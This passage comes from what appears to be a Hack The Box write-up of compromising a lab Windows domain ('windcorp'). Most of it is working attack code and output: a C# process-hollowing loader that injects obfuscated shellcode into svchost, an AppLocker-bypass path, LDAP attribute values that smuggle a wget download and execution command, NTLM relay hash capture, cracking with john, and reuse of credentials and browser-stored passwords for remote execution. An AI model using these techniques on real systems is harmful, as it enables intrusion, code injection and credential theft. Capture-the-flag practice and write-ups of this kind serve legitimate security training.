            bool res = CreateProcess(null, "C:\Windows\System32\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
            uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
            uint opthdr = e_lfanew_offset + 0x28;
            uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
            byte[] buf = new byte[628] { 0x01, ...};

            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 5) & 0xFF);
            }

            WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
            ResumeThread(pi.hThread);
        }
    }
}

After the compilation, we can rename it to a (due to length limitations of the mobile phone attribute) and upload it to the host. The directory C:\windows\debug\wia was chosen to bypass the AppLocker restrictions.

test.ldif:

1
2
3
4
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: 1; wget http://10.10.16.153/a -O C:\windows\debug\wia\a.exe

Apply the changes:

1
ldapmodify -Y GSSAPI -H ldap://windcorp.htb -D "CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb" -f test.ldif

Now we need to execute it.

test.ldif:

1
2
3
4
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: 1;C:\windows\debug\wia\a.exe

Apply the changes:

1
ldapmodify -Y GSSAPI -H ldap://windcorp.htb -D "CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb" -f test.ldif

Windows Root

Let’s try to check if we can get the user`s password. One of the possible way to send the NTLMv2 authentication request and try to brute force the hash. Initially, I tried to run responder tool on the local kali host, but it didn’t work:

Let’s try to use the previously compromised server and a compiled binary of the ntlmrelayx tool:

1
2
3
4
5
#on the web server:
root@webserver:/tmp# ./ntlmrelayx -ntlmchallenge 1122334455667788 -of hashes.txt -debug -smb2support

#on the windows host
dir \\webserver.windcorp.htb\test

hashes_ntlmv2.txt contains an NTLMv2 hash:

1
2
root@webserver:/tmp# cat hashes_ntlmv2.txt 
scriptrunner::WINDCORP:1122334455667788:b0b554c6832f833c5d533e51a644cdca:0101000000000000806da2c52063d901b0f65a5a447ec59800000000010016007300650072007600650072005f006e0061006d006500030016007300650072007600650072005f006e0061006d0065000200120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f005500500007000800806da2c52063d90106000400020000000800300030000000000000000000000000210000d9564960d0ba9fe61950bb33992f1db899122f13097e25a155a8dd3b601ec0a70a001000000000000000000000000000000000000900360063006900660073002f007700650062007300650072007600650072002e00770069006e00640063006f00720070002e006800740062000000000000000000

Crack the password using john:

1
2
3
4
5
6
7
8
9
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@p%i&J#iNNo1T2  (scriptrunner)     
1g 0:00:00:09 DONE (2023-03-30 12:04) 0.1075g/s 1542Kp/s 1542Kc/s 1542KC/s !SkicA!..!)(^karabatak55
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Domain User Bob.Wood uses the same password. Let’s execute the shell using hos credentials:

1
2
3
4
$pass = ConvertTo-SecureString '!@p%i&J#iNNo1T2' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("Bob.Wood", $pass)
$Session = New-PSSession -Credential $Cred
Invoke-Command -Session $Session -scriptblock { C:\windows\debug\wia\a.exe }

Check for browser-cached passwords using HackBrowserData:

There is a password for the admin account:

1
2
3
4
$pass = ConvertTo-SecureString 'smeT-Worg-wer-m024' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("Bob.WoodADM", $pass)
$Session = New-PSSession -Credential $Cred
Invoke-Command -Session $Session -scriptblock { C:\windows\debug\wia\a.exe }

W00t w00t. Finally, it’s done.

This post is licensed under CC BY 4.0 by the author.

Trending Tags